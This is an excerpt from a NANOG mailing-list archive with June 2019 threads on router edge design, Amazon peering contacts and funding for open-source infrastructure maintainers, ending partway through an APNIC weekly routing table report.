built, which is somehow linked to >> virtually every service on the network in some obscure and >> unforeseeable way. > >I would tend to agree when the edge routers are massive, e.g., boxes >like the Cisco ASR9922 or the Juniper MX2020 are simply too large, and >present a real risk re: that level of customer aggregation (even for >low-revenue services such as Broadband). I don't think I'd ever justify >buying these towers to aggregate customers, mainly due to the risk. > >For us, even the MX960 is too big, which is why we focus on the MX480 >(ASR9906 being the equivalent). It's a happy medium between the small >and large end of the spectrum. > >And as I mentioned before, we just look at a totally different box for >100Gbps customers. > >Mark. Yeah, if you want to name specific boxes then yes I've made similar experiences with the same boxen. Even the MX960 is slightly too big for a PE depending on how you load it (port combinations). Large boxes like the MX2020, ASR9922, NCS6K, etc. these can only reasonably be used as P nodes in my opinion. Cheers, James. From christoffer at netravnen.de Thu Jun 27 19:44:39 2019 From: christoffer at netravnen.de (Hansen, Christoffer) Date: Thu, 27 Jun 2019 21:44:39 +0200 Subject: AS16509 (Amazon) peering contact In-Reply-To: References: Message-ID: <993d8a35-65c1-d3a5-338e-914b9912c44b@netravnen.de> On 27/06/2019 20:55, Andras Toth wrote: > Including at least an ASN in the peering request usually helps to > expedite the process :) & keeping your peeringdb entry up-to-date is usually helpful, too. Depending on who you want to peer with(!) Some networks require you to have up-to-date peeringdb information for your network. Including which facilities and/or internet exchanges you are either connected to and/or present on/in. This will often be the case if $peering_partner have either partial or fully automated peering configuration management. /Christoffer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 228 bytes Desc: OpenPGP digital signature URL: From jlewis at lewis.org Thu Jun 27 20:49:23 2019 From: jlewis at lewis.org (Jon Lewis) Date: Thu, 27 Jun 2019 16:49:23 -0400 (EDT) Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627170416.GA99880@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627170416.GA99880@thyrsus.com> Message-ID: On Thu, 27 Jun 2019, Eric S. Raymond wrote: >> I think many of us assume that doing the sort of work you're referring to >> will definitely result in the regular receipt of many prestigious, >> high-paying job offers. > > When that happens, it's actually a problem. > > Let's suppose that someone were to judge I've been doing high-quality > work on security-hardened NTP. I get a job offer as a result. Is it > going to be to work on NTP? Nope, you can't monetize NTP, so my employer > will want me to work on something else that generates a profit. > > Boom. We lose. This may have been an anomaly made possible by early .com $, but I'm pretty sure at one point, companies like VA Research / VA Linux employed developers who in various cases worked part or full time on the Linux kernel and other Open Source projects "as their job". That you've developed/maintained software that's in every Android device, but haven't been paid by anyone for that may be the biggest flaw with Open Source / Free Software. Presumably, if you chose to stop doing that work and nobody volunteered to step into your place, Google (and others) would be forced to fork the code and pay developers to maintain their own versions. Free software was meant to give users control of / access to the code...not create a parasitic ecosystem where some people code because they enjoy doing it and others profit from their work by packaging and selling it or things based on it. ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From kvicknair at reservetele.com Thu Jun 27 21:47:07 2019 From: kvicknair at reservetele.com (Kody Vicknair) Date: Thu, 27 Jun 2019 21:47:07 +0000 Subject: AS16509 (Amazon) peering contact In-Reply-To: <993d8a35-65c1-d3a5-338e-914b9912c44b@netravnen.de> References: <993d8a35-65c1-d3a5-338e-914b9912c44b@netravnen.de> Message-ID: <3979AE529B56AB47942E2423B707F16E0313A74C18@RTC-EXCH01.RESERVE.LDS> I've always worked with Tim Bates. They were exceptionally quick with standing up my session. like same day quick... tdb at amazon.com Kody Vicknair Network Engineer Tel: 985.536.1214 Fax: 985.536.0300 Email: kvicknair at reservetele.com Reserve Telecommunications 100 RTC Dr Reserve, LA 70084 _________________________________________________________________________________________________ Disclaimer: The information transmitted, including attachments, is intended only for the person(s) or entity to which it is addressed and may contain confidential and/or privileged material which should not disseminate, distribute or be copied. Please notify Kody Vicknair immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. Kody Vicknair therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. . -----Original Message----- From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Hansen, Christoffer Sent: Thursday, June 27, 2019 2:45 PM To: nanog at nanog.org Subject: Re: AS16509 (Amazon) peering contact On 27/06/2019 20:55, Andras Toth wrote: > Including at least an ASN in the peering request usually helps to > expedite the process :) & keeping your peeringdb entry up-to-date is usually helpful, too. Depending on who you want to peer with(!) Some networks require you to have up-to-date peeringdb information for your network. Including which facilities and/or internet exchanges you are either connected to and/or present on/in. This will often be the case if $peering_partner have either partial or fully automated peering configuration management. /Christoffer From esr at thyrsus.com Thu Jun 27 22:15:37 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 18:15:37 -0400 Subject: OFFTRACK - Re: 1st Linux Distro [was:Re: Crowdfunding critical infrastructure] In-Reply-To: <401bd1b7-e209-d650-0774-b84df499f9ba@meetinghouse.net> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627174628.GD99880@thyrsus.com> <20190627185632.GA16341@cmadams.net> <20190627192101.GA89094@thyrsus.com> <401bd1b7-e209-d650-0774-b84df499f9ba@meetinghouse.net> Message-ID: <20190627221537.GA110100@thyrsus.com> Miles Fidelman : > Now, if you mean, the oldest EXTANT distribution, that WOULD be Slackware. I will revise appropriately. And ask my informants some pointed questions. This is, by tge why, an exemplar of why LBIP evaluation should be crowdsourced. I can't know eveything relevant. No other single person or smal;l panel of expes could either. -- Eric S. Raymond From sf at lists.esoteric.ca Thu Jun 27 22:22:02 2019 From: sf at lists.esoteric.ca (Stephen Fulton) Date: Thu, 27 Jun 2019 18:22:02 -0400 Subject: AS16509 (Amazon) peering contact In-Reply-To: <3979AE529B56AB47942E2423B707F16E0313A74C18@RTC-EXCH01.RESERVE.LDS> References: <993d8a35-65c1-d3a5-338e-914b9912c44b@netravnen.de> <3979AE529B56AB47942E2423B707F16E0313A74C18@RTC-EXCH01.RESERVE.LDS> Message-ID: <905d4b9b-3de2-225b-2e2a-e317913db814@lists.esoteric.ca> Hi Kody, Please don't share a person's e-mail account on a mailing list.  Role accounts are one thing, but not this.  If you want to, send it privately.  Cheers, Stephen On 2019-06-27 17:47, Kody Vicknair wrote: > I've always worked with Tim Bates. They were exceptionally quick with standing up my session. like same day quick... > > xxx at amazon.com > > > > > > Kody Vicknair > Network Engineer > > Tel: 985.536.1214 > Fax: 985.536.0300 > Email: kvicknair at reservetele.com > > Reserve Telecommunications > 100 RTC Dr > Reserve, LA 70084 > > _________________________________________________________________________________________________ > > Disclaimer: > The information transmitted, including attachments, is intended only for the person(s) or entity to which it is addressed and may contain confidential and/or privileged material which should not disseminate, distribute or be copied. Please notify Kody Vicknair immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. Kody Vicknair therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. . > > -----Original Message----- > From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Hansen, Christoffer > Sent: Thursday, June 27, 2019 2:45 PM > To: nanog at nanog.org > Subject: Re: AS16509 (Amazon) peering contact > > > On 27/06/2019 20:55, Andras Toth wrote: >> Including at least an ASN in the peering request usually helps to >> expedite the process :) > & keeping your peeringdb entry up-to-date is usually helpful, too. > Depending on who you want to peer with(!) > > Some networks require you to have up-to-date peeringdb information for your network. Including which facilities and/or internet exchanges you are either connected to and/or present on/in. > This will often be the case if $peering_partner have either partial or fully automated peering configuration management. > > /Christoffer From esr at thyrsus.com Thu Jun 27 22:28:17 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 18:28:17 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627194142.GP16647@netmeister.org> References: <20190627154111.27032470499D@snark.thyrsus.com> <8394309e-83fe-2492-cbc0-9457bb1a0ac4@meetinghouse.net> <20190627194142.GP16647@netmeister.org> Message-ID: <20190627222817.GB110100@thyrsus.com> Jan Schaumann : > Perhaps an opportunity to collaborate with > https://www.coreinfrastructure.org/ ? I am unfortunately constrained in what I can say about CII. The temptation to rant is extreme, but I would be revealing confidences that are not mine if I did so. I'll just suggest that if you think CII is the solution to this problem, you should take a hard look at what they're actually funding. And *not* funding. I have a paragraph in the Loadsharers FAQ about the failure modes of centralized fundings for LBIPs. I did *not* write that paragraph from theory. -- Eric S. Raymond From esr at thyrsus.com Thu Jun 27 22:29:15 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 18:29:15 -0400 Subject: OFFTRACK - Re: 1st Linux Distro [was:Re: Crowdfunding critical infrastructure] In-Reply-To: <20190627221537.GA110100@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627174628.GD99880@thyrsus.com> <20190627185632.GA16341@cmadams.net> <20190627192101.GA89094@thyrsus.com> <401bd1b7-e209-d650-0774-b84df499f9ba@meetinghouse.net> <20190627221537.GA110100@thyrsus.com> Message-ID: <20190627222915.GC110100@thyrsus.com> Eric S. Raymond : > Miles Fidelman : > > Now, if you mean, the oldest EXTANT distribution, that WOULD be Slackware. > > I will revise appropriately. And ask my informants some pointed questions. > > This is, by tge why, an exemplar of why LBIP evaluation should be > crowdsourced. I can't know eveything relevant. No other single > person or smal;l panel of expes could either. "by the way" Ugh. Excuse my typos. I'm still in recovery from surgery and not at 100% -- Eric S. Raymond From mel at beckman.org Thu Jun 27 22:34:33 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 27 Jun 2019 22:34:33 +0000 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627174628.GD99880@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> , <20190627174628.GD99880@thyrsus.com> Message-ID: <97DC0575-6B19-406D-BE78-7735B197F947@beckman.org> Eric, Not to go too far afield, but I’m also not on anyone’s payroll, so I buy my own individual-plan health insurance. Yes, it’s more expensive, but that’s the price of not having just one boss :) -mel beckman > On Jun 27, 2019, at 10:46 AM, Eric S. Raymond wrote: > > Mehmet Akcin : >>> On Thu, Jun 27, 2019 at 08:41 Eric S. Raymond wrote: >>> >>> The members of this list are, I think, much more aware tham most that >>> a lot of critical Internet software is maintained by unfunded >>> volunteers, and of the systemic risks that result from this. >> >> Please explain. This is not true. > > Tell it to Dave Taht, who broke his health solving the bufferbloat problem. > > Tell it to Patrick Volkerding, who sweated to created the first Linux > distribution - inventing a whole tier of infrastructure we now take > for granted - only to end up in deep financial trouble because other > people make all the money selling the CDs. > > Tell it to me, leading GIFLIB and GPSD and NTPsec and 48 other > projects and looking at having my life savings possibly wiped out by a > relatively low-grade medical problem because I'm not on anyone's > payroll. > > Tell it to Harlan Stenn, who worked on NTP for over a decade and could > barely get anyone to kick in enough money to buy coffee. > > If you do not understand the scope of this problem, you are *astoundingly* > ignorant. And probably alone on this list. > >> This needs governance and transparency around it. Just launching a page >> isn’t going to get you anywhere “sustsinable” > > Every loadsharer keeps control of their money at all times. Nobody is > makng decisions for them; the most the advisers can do is suggest > priorities. Everyting happens in public. How does it get more > transparent than that? > -- > Eric S. Raymond > > From cma at cmadams.net Thu Jun 27 22:50:46 2019 From: cma at cmadams.net (Chris Adams) Date: Thu, 27 Jun 2019 17:50:46 -0500 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190627192101.GA89094@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627174628.GD99880@thyrsus.com> <20190627185632.GA16341@cmadams.net> <20190627192101.GA89094@thyrsus.com> Message-ID: <20190627225046.GA19732@cmadams.net> Once upon a time, Eric S. Raymond said: > Chris Adams : > > Once upon a time, Eric S. Raymond said: > > > Tell it to Patrick Volkerding, who sweated to created the first Linux > > > distribution > > > > No, he didn't. > > Can you be more specific? Are we possibly having some definitional issue > about what constitutes a Linux distribution? He started out releasing fixes/mods to SLS, which was a commercial distribution; the maker asked him to stop, so he started Slackware as a distinct distribution. Yggdrasil was also before Slackware IIRC, as were TAMU and MCC Interim. -- Chris Adams From cma at cmadams.net Thu Jun 27 22:56:55 2019 From: cma at cmadams.net (Chris Adams) Date: Thu, 27 Jun 2019 17:56:55 -0500 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627170416.GA99880@thyrsus.com> Message-ID: <20190627225655.GB19732@cmadams.net> Once upon a time, Jon Lewis said: > This may have been an anomaly made possible by early .com $, but I'm > pretty sure at one point, companies like VA Research / VA Linux > employed developers who in various cases worked part or full time on > the Linux kernel and other Open Source projects "as their job". The vast majority of developers of software in a typical Linux distribution are paid to work on it. That's what companies like Red Hat, Canonical, SuSE, and many others do. There's lots of other stuff that's contributed to as a consequence of their job. When I needed software to support DEC Unix features for example (because that's what my company used), I wrote patches and submitted them to OpenSSH, BIND, etc. My company was fine with that (we weren't going to sell software). -- Chris Adams From nanog at ics-il.net Thu Jun 27 23:23:58 2019 From: nanog at ics-il.net (Mike Hammett) Date: Thu, 27 Jun 2019 18:23:58 -0500 (CDT) Subject: few big monolithic PEs vs many small PEs In-Reply-To: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: <2035582630.1984.1561677835743.JavaMail.mhammett@ThunderFuck> I've ran into many providers where they had routers in the top 10 or 15 markets... and that was it. If you wanted a connection in South Bend or Indianapolis or New Orleans or Ohio or... you were backhauled potentially hundreds of miles to a nearby big market. More smaller POPs reduces the tromboning. More smaller POPs means that one POP's outage isn't as disastrous on the traffic rerouting around it. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: adamv0025 at netconsultings.com To: nanog at nanog.org Sent: Wednesday, June 19, 2019 3:22:45 PM Subject: few big monolithic PEs vs many small PEs Hi folks, Recently I ran into a peculiar situation where we had to cap couple of PE even though merely a half of the rather big chassis was populated with cards, reason being that the central RE/RP was not able to cope with the combined number of routes/vrfs/bgp sessions/etc.. So this made me think about the best strategy in building out SP-Edge nowadays (yes I'm aware of the centralize/decentralize pendulum swinging every couple of years). The conclusion I came to was that *currently the best approach would be to use several medium to small(fixed) PEs to replace a big monolithic chasses based system. So what I was thinking is, Yes it will cost a bit more (router is more expensive than a LC) Will end up with more prefixes in IGP, more BGP sessions etc.. -don't care. But the benefits are less eggs in one basket, simplified and hence faster testing in case of specialized PEs and obviously better RP CPU/MEM to port ratio. Am I missing anything please? *currently, Yes some old chassis systems or even multi-chassis systems used to support additional RPs and offloading some of the processes (e.g. BGP onto those) -problem is these are custom hacks and still a single OS which needs rebooting LC/ASICs when being upgraded -so the problem of too many eggs in one basket still exists (yes cisco NCS6k and recent ASR9k lightspeed LCs are an exception) And yes there is the "node-slicing" approach from Juniper where one can offload CP onto multiple x86 servers and assign LCs to each server (virtual node) - which would solve my chassis full problem -but honestly how many of you are running such setup? Exactly. And that's why I'd be hesitant to deploy this solution in production just yet. I don't know of any other vendor solution like this one, but who knows maybe in 5 years this is going to be the new standard. Anyways I need a solution/strategy for the next 3-5 years. Would like to hear what are your thoughts on this conundrum. adam netconsultings.com ::carrier-class solutions for the telecommunications industry:: -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Thu Jun 27 23:33:54 2019 From: nanog at ics-il.net (Mike Hammett) Date: Thu, 27 Jun 2019 18:33:54 -0500 (CDT) Subject: few big monolithic PEs vs many small PEs In-Reply-To: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> Message-ID: <357577207.1999.1561678432481.JavaMail.mhammett@ThunderFuck> Big routers also mean they're a lot more expensive. You have to squeeze more life out of them because they cost you hundreds of thousands of dollars. You run them longer than you really should. If you run more, smaller, $20k or $30k routers, you'll replace them on a more reasonable cycle. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: adamv0025 at netconsultings.com To: nanog at nanog.org Sent: Wednesday, June 19, 2019 3:22:45 PM Subject: few big monolithic PEs vs many small PEs Hi folks, Recently I ran into a peculiar situation where we had to cap couple of PE even though merely a half of the rather big chassis was populated with cards, reason being that the central RE/RP was not able to cope with the combined number of routes/vrfs/bgp sessions/etc.. So this made me think about the best strategy in building out SP-Edge nowadays (yes I'm aware of the centralize/decentralize pendulum swinging every couple of years). The conclusion I came to was that *currently the best approach would be to use several medium to small(fixed) PEs to replace a big monolithic chasses based system. So what I was thinking is, Yes it will cost a bit more (router is more expensive than a LC) Will end up with more prefixes in IGP, more BGP sessions etc.. -don't care. But the benefits are less eggs in one basket, simplified and hence faster testing in case of specialized PEs and obviously better RP CPU/MEM to port ratio. Am I missing anything please? *currently, Yes some old chassis systems or even multi-chassis systems used to support additional RPs and offloading some of the processes (e.g. BGP onto those) -problem is these are custom hacks and still a single OS which needs rebooting LC/ASICs when being upgraded -so the problem of too many eggs in one basket still exists (yes cisco NCS6k and recent ASR9k lightspeed LCs are an exception) And yes there is the "node-slicing" approach from Juniper where one can offload CP onto multiple x86 servers and assign LCs to each server (virtual node) - which would solve my chassis full problem -but honestly how many of you are running such setup? Exactly. And that's why I'd be hesitant to deploy this solution in production just yet. I don't know of any other vendor solution like this one, but who knows maybe in 5 years this is going to be the new standard. Anyways I need a solution/strategy for the next 3-5 years. Would like to hear what are your thoughts on this conundrum. adam netconsultings.com ::carrier-class solutions for the telecommunications industry:: -------------- next part -------------- An HTML attachment was scrubbed... URL: From esr at thyrsus.com Fri Jun 28 02:21:18 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 27 Jun 2019 22:21:18 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627170416.GA99880@thyrsus.com> Message-ID: <20190628022118.GD110100@thyrsus.com> Jon Lewis : > This may have been an anomaly made possible by early .com $, but I'm pretty > sure at one point, companies like VA Research / VA Linux employed developers > who in various cases worked part or full time on the Linux kernel and other > Open Source projects "as their job". I was on the Board of Directors of VA Linux at the time. I know we did. That kind of generosity can exist, yes. But the economic headwinds are against it. If you're one of the lucky developers patronized *inside* a corporation, you are never more than one bad quarter from being defunded. For some projects, like Apache or the Linux kernel, the business case for cross-corporate collaboration on shared infrastructure is so clear that even a succession of non-technical bosses can grasp it. And when that happens, you can thank me, because I wrote up that business case where it could become part of C-level thinking. That just means that people like me get to worry about the next level of the problem. Shared infrastructure where the connection to profits is *not* one that a non-technical executive can easily grasp. Good luck keeping *that* sort of work funded inside a for-profit organizatiion. > That you've developed/maintained software that's in every Android device, > but haven't been paid by anyone for that may be the biggest flaw with Open > Source / Free Software. Presumably, if you chose to stop doing that work > and nobody volunteered to step into your place, Google (and others) would be > forced to fork the code and pay developers to maintain their own versions. They would. More efficient for me to keep doing it, but that's not an efficiency that shows up in a manager's quarterlies. > Free software was meant to give users control of / access to the code...not > create a parasitic ecosystem where some people code because they enjoy doing > it and others profit from their work by packaging and selling it or things > based on it. My eyes were open. Open source was, and is, a solution - oe ary least a good hard whack - at one set of systemic problems. Now we get to deal with the problems that come from the solution. That's what I'm trying to do. You know how to help. Take the Loadsharers pleadge and spread the word. -- Eric S. Raymond From beecher at beecher.cc Fri Jun 28 02:53:24 2019 From: beecher at beecher.cc (Tom Beecher) Date: Thu, 27 Jun 2019 22:53:24 -0400 Subject: Crowdfunding critical infrastructure In-Reply-To: <20190628022118.GD110100@thyrsus.com> References: <20190627154111.27032470499D@snark.thyrsus.com> <20190627170416.GA99880@thyrsus.com> <20190628022118.GD110100@thyrsus.com> Message-ID: > You know how to help. Take the Loadsharers pleadge and spread the word. > Or maybe suggest to some of these BDFL that they loosen their self imposed requirements to maintain absolute control of the code, and share the workload. It's not hard to work 50 hours a week for free. Don't! On Thu, Jun 27, 2019 at 10:23 PM Eric S. Raymond wrote: > Jon Lewis : > > This may have been an anomaly made possible by early .com $, but I'm > pretty > > sure at one point, companies like VA Research / VA Linux employed > developers > > who in various cases worked part or full time on the Linux kernel and > other > > Open Source projects "as their job". > > I was on the Board of Directors of VA Linux at the time. I know we did. > > That kind of generosity can exist, yes. But the economic headwinds > are against it. If you're one of the lucky developers patronized > *inside* a corporation, you are never more than one bad quarter from > being defunded. > > For some projects, like Apache or the Linux kernel, the business case > for cross-corporate collaboration on shared infrastructure is so clear > that even a succession of non-technical bosses can grasp it. And when > that happens, you can thank me, because I wrote up that business case > where it could become part of C-level thinking. > > That just means that people like me get to worry about the next level of > the > problem. Shared infrastructure where the connection to profits is *not* > one that a non-technical executive can easily grasp. Good luck keeping > *that* sort of work funded inside a for-profit organizatiion. > > > That you've developed/maintained software that's in every Android device, > > but haven't been paid by anyone for that may be the biggest flaw with > Open > > Source / Free Software. Presumably, if you chose to stop doing that work > > and nobody volunteered to step into your place, Google (and others) > would be > > forced to fork the code and pay developers to maintain their own > versions. > > They would. More efficient for me to keep doing it, but that's not an > efficiency > that shows up in a manager's quarterlies. > > > Free software was meant to give users control of / access to the > code...not > > create a parasitic ecosystem where some people code because they enjoy > doing > > it and others profit from their work by packaging and selling it or > things > > based on it. > > My eyes were open. Open source was, and is, a solution - oe ary least > a good hard whack - at one set of systemic problems. Now we get to > deal with the problems that come from the solution. > > That's what I'm trying to do. > > You know how to help. Take the Loadsharers pleadge and spread the word. > -- > Eric S. Raymond > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Fri Jun 28 05:59:19 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Fri, 28 Jun 2019 07:59:19 +0200 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <2035582630.1984.1561677835743.JavaMail.mhammett@ThunderFuck> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2035582630.1984.1561677835743.JavaMail.mhammett@ThunderFuck> Message-ID: On 28/Jun/19 01:23, Mike Hammett wrote: > I've ran into many providers where they had routers in the top 10 or > 15 markets...  and that was it. If you wanted a connection in South > Bend or Indianapolis or New Orleans or Ohio or...  you were backhauled > potentially hundreds of miles to a nearby big market. > > More smaller POPs reduces the tromboning. > > More smaller POPs means that one POP's outage isn't as disastrous on > the traffic rerouting around it. I really dislike centralized routing. Mark. -------------- next part -------------- An HTML attachment was scrubbed... URL: From adamv0025 at netconsultings.com Fri Jun 28 08:01:20 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Fri, 28 Jun 2019 09:01:20 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> Message-ID: <01cd01d52d87$ac358080$04a08180$@netconsultings.com> Hi James, > From: James Bensley > Sent: Thursday, June 27, 2019 1:48 PM > > On Thu, 27 Jun 2019 at 12:46, wrote: > > > > > From: James Bensley > > > Sent: Thursday, June 27, 2019 9:56 AM > > > > > > One experience I have made is that when there is an outage on a > > > large PE, even when it still has spare capacity, is that the > > > business impact can be too much to handle (the support desk is > > > overwhelmed, customers become irate if you can't quickly tell them > > > what all the impacted services are, when service will be restored, > > > the NMS has so many alarms it’s not clear what the problem is or where > it's coming from etc.). > > > > > I see what you mean, my hope is to address these challenges by having a > "single source of truth" provisioning system that will have, among other > things, also HW-customer/service mapping -so Ops team will be able to say > that if particular LC X fails then customers/services X,Y,Z will be affected. > > But yes I agree with smaller PEs any failure fallout is minimized > proportionally. > > Hi Adam, > > My experience is that it is much more complex than that (although it also > depends on what sort of service you're offering), one can't easily model the > inter-dependency between multiple physical assets like links, interfaces, line > cards, racks, DCs etc and logical services such as a VRFs/L3VPNs, cloud hosted > proxies and the P&T edge. > > Consider this, in my opinion, relatively simple example: > Three PEs in a triangle. Customer is dual-homed to PE1 and PE2 and their link > to PE1 is their primary/active link. Transit is dual-homed to PE2 and PE3 and > your hosted filtering service cluster is also dual-homed to PE2 and PE3 to be > near the Internet connectivity. > I agree the scenario you proposed is perfectly valid seems simple but might contain high degree of complexity in terms of traffic patterns. Thinking about this I'd propose to separate the problem into two parts, The simpler one to solve is the physical resource allocation part of the problem This is where the hierarchical record of physical assets could give us the right answers to what happens if this card fails (example of hierarchy POP->PE->LineCard->PhysicalPort(s)-> PhysicalPort(s)->Aggregation-SW->PhysicalPort(s)->Customer/Service) The other part of the problem is much harder and has two sub parts: -first subpart is to model interactions between number of protocols to accurately predict traffic patterns under various failure conditions. (I'd argue that this to some extent should be part of the design documentation and well understood and tested during POC testing for a new design -although entropy...) -And now the tricky subpart is to be able to map individual customer->service/service->customer traffic flows onto the first subpart (This subpart I didn't give much thought so can't possibly comment ) adam From adamv0025 at netconsultings.com Fri Jun 28 08:35:45 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Fri, 28 Jun 2019 09:35:45 +0100 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <94ff38dc-8cf3-d109-e02f-457ecb447a48@seacom.mu> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <018701d52cde$0ee6db70$2cb49250$@netconsultings.com> <94ff38dc-8cf3-d109-e02f-457ecb447a48@seacom.mu> Message-ID: <01d101d52d8c$7a9f9dd0$6fded970$@netconsultings.com> > Mark Tinka > Sent: Thursday, June 27, 2019 4:31 PM > > > > On 27/Jun/19 14:48, James Bensley wrote: > > > That to me is a simple scenario, and it can be mapped with a > > dependency tree. But in my experience, and maybe it's just me, things > > are usually a lot more complicated than this. The root cause is > > probably a bad design introducing too much complexity, which is > > another vote for smaller PEs from me. With more service dedicated PEs > > one can reduce or remove the possibility of piling multiple services > > and more complexity onto the same PE(s). > > Which is one of the reasons we - painfully to the bean counters - insist that > routers are deployed for function. > > We won't run peering and transit services on the same router. > > We won't run SP and Enterprise on the same router as Broadband. > > We won't run supporting services (DNS, RADIUS, WWW, FTP, Portals, NMS, > e.t.c.) on the same router where we terminate customers. > > This level of distribution, although quite costly initially, means you reduce the > inter-dependency of services at a hardware level, and can safely keep things > apart so that when bits fail, you aren't committing other services to the same > fate. > If the PEs are sufficiently small I'd even go further as to L3VPNs-PE vs L2VPNs-PE services etc..., it's mostly because of streamlined/simplified hw and code certification testing. But as with all the decentralize-centralize swings one has to strike the balance just right and weight the aggregation pros against too many eggs in one basket cons. adam From cscora at apnic.net Fri Jun 28 18:04:11 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 29 Jun 2019 04:04:11 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190628180411.CD7E3C44A1@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 29 Jun, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 759623 Prefixes after maximum aggregation (per Origin AS): 292603 Deaggregation factor: 2.60 Unique aggregates announced (without unneeded subnets): 365009 Total ASes present in the Internet Routing Table: 64662 Prefixes per ASN: 11.75 Origin-only ASes present in the Internet Routing Table: 55628 Origin ASes announcing only one prefix: 23941 Transit ASes present in the Internet Routing Table: 9034 Transit-only ASes present in the Internet Routing Table: 275 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 42 Max AS path prepend of ASN ( 27978) 31 Prefixes from unregistered ASNs in the Routing Table: 24 Number of instances of unregistered ASNs: 27 Number of 32-bit ASNs allocated by the RIRs: 27602 Number of 32-bit ASNs visible in the Routing Table: 22515 Prefixes from 32-bit ASNs in the Routing Table: 101561 Number of bogon 32-bit ASNs visible in the Routing Table: 18 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 232 Number of addresses announced to Internet: 2839143808 Equivalent to 169 /8s, 57 /16s and 229 /24s Percentage of available address space announced: 76.7 Percentage of allocated address space announced: 76.7 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.3 Total number of prefixes smaller than registry allocations: 252664 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 205685 Total APNIC prefixes after maximum aggregation: 61187 APNIC Deaggregation factor: 3.36 Prefixes being announced from the APNIC address blocks: 201355 Unique aggregates announced from the APNIC address blocks: 83667 APNIC Region origin ASes present in the Internet Routing Table: 9846 APNIC Prefixes per ASN: 20.45 APNIC Region origin ASes announcing only one prefix: 2749 APNIC Region transit ASes present in the Internet Routing Table: 1465 Average APNIC Region AS path length visible: 4.5 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4851 Number of APNIC addresses announced to Internet: 770960512 Equivalent to 45 /8s, 243 /16s and 236 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-141625 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 